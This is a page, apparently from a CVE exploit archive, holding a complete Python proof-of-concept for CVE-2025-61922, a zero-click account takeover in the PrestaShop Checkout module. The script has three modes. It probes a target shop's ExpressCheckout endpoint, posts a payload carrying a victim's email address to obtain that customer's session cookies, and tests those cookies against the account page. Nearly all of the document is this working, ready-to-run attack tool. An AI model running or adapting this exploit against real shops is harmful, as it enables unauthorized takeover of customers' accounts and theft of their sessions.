4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-61922.py PY
#!/usr/bin/env python3
"""
CVE-2025-61922 - Zero-click Account Takeover in PrestaShop Checkout < 5.0.5
Author: S 1 D E R
"""

import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from typing import Optional, Dict, Any

def check_vulnerability(target_url: str, proxy: Optional[str] = None, 
                       timeout: int = 30, verify_ssl: bool = True) -> bool:
    session = requests.Session()
    
    # Configure proxy if provided
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'application/json, text/plain, */*'
    })
    
    endpoint = "/module/ps_checkout/ExpressCheckout"
    test_url = urljoin(target_url, endpoint)
    
    print(f"[*] Testing: {test_url}")
    
    try:
        response = session.options(test_url, timeout=timeout)
        
        if 'POST' in response.headers.get('Allow', ''):
            print("[+] Target appears VULNERABLE (endpoint accepts POST requests)")
            return True
        elif response.status_code == 405:  # Method Not Allowed
            print("[+] Target appears VULNERABLE (endpoint exists but rejects OPTIONS)")
            return True
        else:
            print(f"[-] Target may not be vulnerable (HTTP {response.status_code})")
            return False
            
    except requests.exceptions.ConnectionError:
        print("[-] Connection failed - check URL and network")
        return False
    except requests.exceptions.Timeout:
        print("[-] Request timeout")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def exploit_takeover(target_url: str, email: str, proxy: Optional[str] = None,
                    timeout: int = 30, verify_ssl: bool = True) -> Optional[Dict[str, Any]]:
    session = requests.Session()
    
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    })
    
    endpoint = "/module/ps_checkout/ExpressCheckout"
    exploit_url = urljoin(target_url, endpoint)
    
    payload = {
        "orderID": "1",  # Can be any value, just needs to exist
        "order": {
            "payer": {
                "email_address": email
            }
        }
    }
    
    print(f"[*] Attempting account takeover for: {email}")
    print(f"[*] Payload: {json.dumps(payload, indent=2)}")
    
    try:
        response = session.post(
            exploit_url,
            json=payload,
            timeout=timeout,
            allow_redirects=False
        )
        
        result = {
            'success': False,
            'status_code': response.status_code,
            'cookies': {},
            'headers': dict(response.headers),
            'response_preview': response.text[:500] if response.text else ''
        }
        
        if 'set-cookie' in response.headers:
            cookie_header = response.headers['set-cookie']
            cookies = {}
            for cookie_part in cookie_header.split(','):
                if '=' in cookie_part:
                    key_val = cookie_part.split(';')[0].strip()
                    if '=' in key_val:
                        key, value = key_val.split('=', 1)
                        cookies[key] = value
            
            result['cookies'] = cookies
            
            if response.status_code == 500 and cookies:
                result['success'] = True
                result['message'] = "Vulnerable! Got session cookies despite 500 error."
            elif response.status_code == 200:
                result['success'] = True
                result['message'] = "Possible success - check response for session data"
            else:
                result['message'] = f"Got HTTP {response.status_code}"
        
        return result
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return None

def test_cookies(target_url: str, cookies_str: str, proxy: Optional[str] = None,
                timeout: int = 30, verify_ssl: bool = True) -> bool:
    session = requests.Session()
    
    if proxy:
        session.proxies = {
            'http': proxy,
            'https': proxy
        }
    
    session.verify = verify_ssl

    for cookie_pair in cookies_str.split(';'):
        cookie_pair = cookie_pair.strip()
        if '=' in cookie_pair:
            name, value = cookie_pair.split('=', 1)
            session.cookies.set(name.strip(), value.strip())
    
    test_url = urljoin(target_url, "/my-account")
    
    print(f"[*] Testing cookies against: {test_url}")
    
    try:
        response = session.get(test_url, timeout=timeout)
        
        if response.status_code == 200:
            indicators = [
                "My account",
                "Order history",
                "Sign out",
                "Logout"
            ]
            
            for indicator in indicators:
                if indicator in response.text:
                    print(f"[+] SUCCESS! Found '{indicator}' in response.")
                    return True
            
            print("[-] Got 200 but no clear login indicators found")
            return False
        else:
            print(f"[-] Got HTTP {response.status_code} - likely not authenticated")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-61922 - PrestaShop Checkout Account Takeover",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s check --url http://target-shop.com
  %(prog)s takeover --url http://target-shop.com --email [email protected]
  %(prog)s test --url http://target-shop.com --cookies "PrestaShop-abc=123"
        """
    )
    
    subparsers = parser.add_subparsers(dest='command', help='Command to execute')
    subparsers.required = True
    
    check_parser = subparsers.add_parser('check', help='Check if target is vulnerable')
    check_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    
    takeover_parser = subparsers.add_parser('takeover', help='Attempt account takeover')
    takeover_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    takeover_parser.add_argument('--email', required=True, help='Victim email address')
    
    test_parser = subparsers.add_parser('test', help='Test captured cookies')
    test_parser.add_argument('--url', required=True, help='Target PrestaShop URL')
    test_parser.add_argument('--cookies', required=True, help='Session cookies to test')
    
    for subparser in [check_parser, takeover_parser, test_parser]:
        subparser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
        subparser.add_argument('--timeout', type=int, default=30, 
                              help='Request timeout in seconds (default: 30)')
        subparser.add_argument('--no-verify', action='store_true',
                              help='Disable SSL certificate verification')
    
    args = parser.parse_args()
    
    if args.no_verify:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    if args.command == 'check':
        is_vulnerable = check_vulnerability(
            target_url=args.url,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if is_vulnerable:
            print("\n[!] WARNING: Target appears vulnerable to CVE-2025-61922")
        else:
            print("\n[-] Target does not appear vulnerable (or endpoint not found)")
        
        sys.exit(0 if is_vulnerable else 1)
    
    elif args.command == 'takeover':
        result = exploit_takeover(
            target_url=args.url,
            email=args.email,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if result:
            print(f"\n[*] HTTP Status: {result['status_code']}")
            
            if result['success']:
                print("[+] SUCCESS! Account takeover appears to have worked.")
                
                if result['cookies']:
                    print("[+] Captured cookies:")
                    for name, value in result['cookies'].items():
                        print(f"    {name}: {value}")
                    
                    # Format for easy copying
                    cookie_str = '; '.join([f"{k}={v}" for k, v in result['cookies'].items()])
                    print(f"\n[*] Cookie string for testing:")
                    print(f"    {cookie_str}")
            else:
                print("[-] Account takeover may have failed.")
                
                if result.get('message'):
                    print(f"[-] {result['message']}")
        else:
            print("[-] Exploit attempt failed completely")
            sys.exit(1)
    
    elif args.command == 'test':
        success = test_cookies(
            target_url=args.url,
            cookies_str=args.cookies,
            proxy=args.proxy,
            timeout=args.timeout,
            verify_ssl=not args.no_verify
        )
        
        if success:
            print("[+] Cookies appear to provide valid session access!")
            print("[!] This confirms the vulnerability was successfully exploited.")
        else:
            print("[-] Cookies do not appear to provide valid access")
            print("[-] They may have expired, or the exploit didn't work as expected")

if __name__ == "__main__":
    main()